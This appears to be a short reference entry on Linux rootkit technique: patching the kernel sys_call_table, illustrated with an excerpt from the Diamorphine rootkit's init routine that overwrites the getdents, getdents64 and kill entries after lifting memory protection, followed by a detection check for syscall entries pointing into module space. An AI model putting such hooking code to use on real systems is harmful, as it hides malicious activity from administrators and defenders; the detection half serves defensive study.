sctpatch

Patching sys_call_table

In order to 'hook' a system call a popular method is to overwrite it's entry in the sys_call_table such that execution is redirected via a function that performs some action before (optionally) calling the original function.

Modification of the sys_call_table on modern systems requires knowledge of it's location and by being able to write to it (this may involve cr0 WP bit modification)

This technique has been used in one form or another for about 20 years..

Example

static int __init
diamorphine_init(void)
{
        __sys_call_table = get_syscall_table_bf();
        if (!__sys_call_table)
                return -1;

        cr0 = read_cr0();
        // [...]

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
        orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
        orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
        orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
        orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
        orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
#endif

        unprotect_memory();

        __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) hacked_kill;

        protect_memory();

        return 0;
}

Detection

Does the syscall entry for e.g sys_openat point at the right place in the kernel? Does a syscall entry point at module address space?

e.g

    if(sct != 0)
    {
        if((sct[__NR_open] > MODULES_VADDR) && 
                             (sct[__NR_open] < MODULES_END))
        {
            printk("rks: syscall table sys_open entry points to a module!\n");
        }
        // [...] 
     }

..AND/OR.. Detecting page protection / cr0 hacks